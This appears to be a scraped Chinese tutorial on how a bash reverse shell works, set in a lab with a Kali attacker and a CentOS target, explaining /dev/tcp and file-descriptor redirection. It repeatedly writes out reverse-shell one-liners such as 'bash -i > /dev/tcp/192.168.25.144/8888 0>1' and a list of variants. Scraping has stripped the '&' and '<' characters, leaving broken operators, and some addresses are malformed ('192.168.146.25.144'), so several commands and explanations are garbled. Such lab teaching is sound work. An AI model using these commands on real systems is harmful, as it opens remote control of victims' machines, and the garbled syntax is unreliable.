濮阳杆衣贸易有限公司

主頁 > 知識庫 > 淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

熱門標(biāo)簽:如何申請400的電話呀 沈陽ai電銷智能機(jī)器人 黑暗之魂3地圖標(biāo)注 地圖標(biāo)注審核周期 電商外呼系統(tǒng)排名 蘭州電銷機(jī)器人加盟 電話機(jī)器人對家居行業(yè)幫助大嗎 AI智能電銷機(jī)器人壞處 合肥電銷外呼系統(tǒng)供應(yīng)商

環(huán)境

攻擊機(jī):kali            ip:192.168.25.144

靶    機(jī):centos      ip:192.168.25.142

過程

kali 監(jiān)聽本地8888端口

靶機(jī) centos 寫入 反彈shell 的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>1

攻擊機(jī) kali 成功反彈shell

原理

反彈shell往往是在攻擊者無法直接連接受害者的情況下進(jìn)行的操作,原因有很多,例如目標(biāo)是局域網(wǎng),或者開啟防火墻的某些策略等情況,而這時(shí),我們就可以讓受害者主動(dòng)向攻擊者發(fā)起連接,被控端發(fā)起請求到控制端某端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端,從而實(shí)現(xiàn)交互

我們將命令拆開

bash -i 
/dev/tcp/192.168.25.144/8888
 >  0>1

bash

Linux中一般默認(rèn)的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會(huì)指定它為執(zhí)行路徑

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點(diǎn)以及用途

查詢當(dāng)前shell命令    ls -l /bin/sh

bash -i  打開一個(gè)交互式的bash            shell 如果有 -i 參數(shù),就是交互式的

交互的意思就是可以和用戶進(jìn)行交互,輸入命令,回顯給用戶就是一個(gè)交互的過程,而執(zhí)行一個(gè)shell腳本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

     

有參數(shù)  i ,是交互式的

執(zhí)行一個(gè)shell腳本

 

無參數(shù) i ,非交互式

/dev目錄

dev是設(shè)備(device)的英文縮寫。這里主要存放與設(shè)備(包括外設(shè))有關(guān)的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一個(gè)特殊設(shè)備,打開這個(gè)文件就相當(dāng)于發(fā)出了一個(gè)socket調(diào)用,建立一個(gè)socket連接,讀寫這個(gè)文件就相當(dāng)于在這個(gè)socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP連接

文件描述符

Linux 系統(tǒng)中,把一切都看做是文件,當(dāng)進(jìn)程打開現(xiàn)有文件或創(chuàng)建新文件時(shí),內(nèi)核向進(jìn)程返回一個(gè)文件描述符,文件描述符就是內(nèi)核為了高效管理已被打開的文件所創(chuàng)建的索引,用來指向被打開的文件。

所有執(zhí)行I/O操作的系統(tǒng)調(diào)用都會(huì)通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)

標(biāo)準(zhǔn)輸入(stdin):           代碼為  0     使用 或           默認(rèn)設(shè)備鍵盤

標(biāo)準(zhǔn)輸出(stdout):         代碼為  1     使用 > 或 >>          默認(rèn)設(shè)備顯示器

標(biāo)準(zhǔn)錯(cuò)誤輸出(stderr):  代碼為   2    使用 2> 或 2>>      默認(rèn)設(shè)備顯示器

 ---    +--------+
( 0 ) ---->|dev/tty0|  當(dāng)開啟一個(gè)終端時(shí) 默認(rèn)的文件描述符 指向 /dev/tty0(虛擬終端)
 ---    +--------+ 
             
 ---    +--------+ 
( 1 ) ---->|dev/tty0| 
 ---    +--------+  
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

大多數(shù)Linux 系統(tǒng)命令從你的終端接受輸入并將所產(chǎn)生的輸出發(fā)送回​​到您的終端。一個(gè)命令通常從一個(gè)叫標(biāo)準(zhǔn)輸入的地方讀取輸入,默認(rèn)情況下,這恰好是你的終端。同樣,一個(gè)命令通常將其輸出寫入到標(biāo)準(zhǔn)輸出,默認(rèn)情況下,這也是你的終端

Shell 輸入/輸出重定向

我們讓上圖  輸出重定向

使用    1>    將輸出結(jié)果寫入到 指定文件中    文件不存在則創(chuàng)建文件,文件如果存在會(huì)覆蓋原文件內(nèi)容

省略不寫則默認(rèn)就是 1       同理,輸入重定向  0   省略不寫則默認(rèn)就是 0

使用  >>   會(huì)追內(nèi)容在文件末尾

結(jié)合上面建立的TCP連接

kali攻擊機(jī)收到

結(jié)合bash -i

在kali得到命令執(zhí)行結(jié)果的回顯

此時(shí)我們輸入name,可以看到,標(biāo)準(zhǔn)輸出錯(cuò)誤并未被重定向

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

輸入重定向

在kali攻擊機(jī),輸入

靶機(jī)得到輸入指令,標(biāo)準(zhǔn)輸出(默認(rèn)終端)

 ---    +--------+
( 0 ) ---->|dev/tty0|
 ---    +--------+ 
            
 ---    +--------+      +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

?。。。。。。。。。。。。。?!

此時(shí),我們只需要將

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i    /dec/tcp/192.168.25.144/8888  結(jié)合

實(shí)現(xiàn)在攻擊機(jī) kali 輸入 命令,在kali 機(jī) 得到命令回顯,實(shí)現(xiàn)了反彈shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>1

效果     kali   ip:192.168.25.140 

此時(shí)靶機(jī)會(huì)輸出在攻擊機(jī)所輸入的命令,還有一個(gè)問題,標(biāo)準(zhǔn)錯(cuò)誤輸出 并沒有重定向

補(bǔ)充:

bash 在執(zhí)行一條指令的時(shí)候,首先會(huì)檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個(gè)則從左往右依次執(zhí)行

標(biāo)準(zhǔn)輸出與標(biāo)準(zhǔn)錯(cuò)誤輸出重定向

此時(shí)反彈shell語句里邊用到了  >    操作符, 操作符在不同情況下有不通的含義

在   >word  語法中,當(dāng)word是數(shù)字或  字符時(shí),操作符   表示復(fù)制 文件描述符 

    而文件描述符的復(fù)制格式有     num1num2  和 num1>num2 

    這里兩個(gè)都是將文件描述符 num1 復(fù)制到 num2 ,兩者的區(qū)別是,前者是以只讀的形式打開,后者是以寫的形式打開

    因此 num1num2  和 num1>num2 是等價(jià)的(讀/寫方式打開對其沒有任何影響)

    所以上述命令可以修改為     bash -i > /dev/tcp/192.168.25.144/8888 01

   所以    0>1  或者   01

   是對文件描述符的拷貝,是將0[標(biāo)準(zhǔn)輸入]重定向到了1[標(biāo)準(zhǔn)輸出]指向的位置

   此時(shí)1[標(biāo)準(zhǔn)輸出]指向的是socket連接文件(第一個(gè)  >   ),

   重定向完成后,0[標(biāo)準(zhǔn)輸入]也指向了socket連接文件,所以我推測因?yàn)榭截?,所以原?biāo)準(zhǔn)輸出回顯到靶機(jī)上(kali上敲的命  令)

 ---    +--------+
( 0 ) ---->|dev/tty0|\

 ---    +--------+ \

            \

 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+      +------------------+
   	    	    
 ---    +--------+ 
( 2 ) ---->|dev/tty0| 
 ---    +--------+

此時(shí)標(biāo)準(zhǔn)錯(cuò)誤輸出 依然未曾改變

在   >word  語法中,當(dāng)word不是數(shù)字或  -  字符時(shí)    >  表示將 標(biāo)準(zhǔn)錯(cuò)誤輸出合并到標(biāo)準(zhǔn)輸出中

     此時(shí)與操作符   > 功能一樣     >word 等價(jià)于 > word       都相當(dāng)于        > word  2>1 

    當(dāng)執(zhí)行 bash -i  > /dev/tcp/192.168.25.140/9999 0>1   命令時(shí),效果如下 標(biāo)準(zhǔn)輸出錯(cuò)誤并未被重定向

 

    所以我們執(zhí)行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>1 2>1   或

    bash -i  > /dev/tcp/192.168.25.140/9999 0>1       均形成了一個(gè)閉合的回路  ,同樣,命令回顯到攻擊機(jī)上

   

  實(shí)現(xiàn)以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可

 ---    +--------+
( 0 ) ---->|dev/tty0|\

 ---    +--------+ \

            \

 ---    +--------+  ---->  +------------------+
( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port|
 ---    +--------+  ---->  +------------------+
   	    	    /
 ---    +--------+ /
( 2 ) ---->|dev/tty0| / 
 ---    +--------+
bash -i > /dev/tcp/192.168.146.25.144/8888 1
bash -i > /dev/tcp/192.168.146.25.144/8888 2
bash -i > /dev/tcp/192.168.146.25.144/8888 01
bash -i > /dev/tcp/192.168.146.25.144/8888 02
bash -i > /dev/tcp/192.168.146.25.144/8888 0>1
bash -i > /dev/tcp/192.168.146.25.144/8888 0>2
bash -i > /dev/tcp/192.168.25.144/8888 0>1 2>1

本文借鑒了很多大佬的博客,如有更正的地方。還望指出

參考鏈接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

到此這篇關(guān)于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關(guān)Linux bash反彈shell內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • linux反彈shell的原理詳解
  • Linux下NC反彈shell命令(推薦)

標(biāo)簽:河池 通遼 隴南 黔南 常州 淮南 黔南 河北

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《淺析Linux之bash反彈shell原理》,本文關(guān)鍵詞  淺析,Linux,之,bash,反彈,shell,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《淺析Linux之bash反彈shell原理》相關(guān)的同類信息!
  • 本頁收集關(guān)于淺析Linux之bash反彈shell原理的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    东方市| 蒲城县| 大关县| 宁城县| 香河县| 阳泉市| 清水县| 黄梅县| 抚州市| 平乡县| 田林县| 藁城市| 蒙城县| 天柱县| 襄樊市| 巴塘县| 长乐市| 安阳县| 甘南县| 会泽县| 神木县| 闽清县| 霍山县| 永新县| 黔西县| 千阳县| 宝兴县| 绥德县| 安岳县| 雷州市| 石楼县| 会泽县| 河南省| 兴山县| 旅游| 织金县| 四子王旗| 桐梓县| 盘山县| 林西县| 淳安县|